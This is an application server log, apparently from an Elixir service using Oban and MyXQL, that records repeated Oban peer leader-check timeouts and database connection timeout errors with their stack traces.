    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1136.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 21:36:41.785000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:36:46.786000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:36:51.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:37:26.510000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:37:31.513000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:37:34.605000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:37:35.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:38:08.759000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:38:09.607000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:38:13.760000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:38:18.490000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:38:53.522000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:38:58.524000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:39:03.070000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:39:38.102000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:39:43.103000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:39:44.611000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:39:47.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:40:22.472000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:40:27.473000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:40:32.030000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:41:05.060000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:41:05.073000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:41:10.064000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:41:14.592000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:41:48.627000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:41:49.616000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:41:53.628000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:41:57.883000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:42:32.919000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:42:37.920000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:42:42.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:43:17.761000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:43:22.762000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:43:24.620000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:43:26.957000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

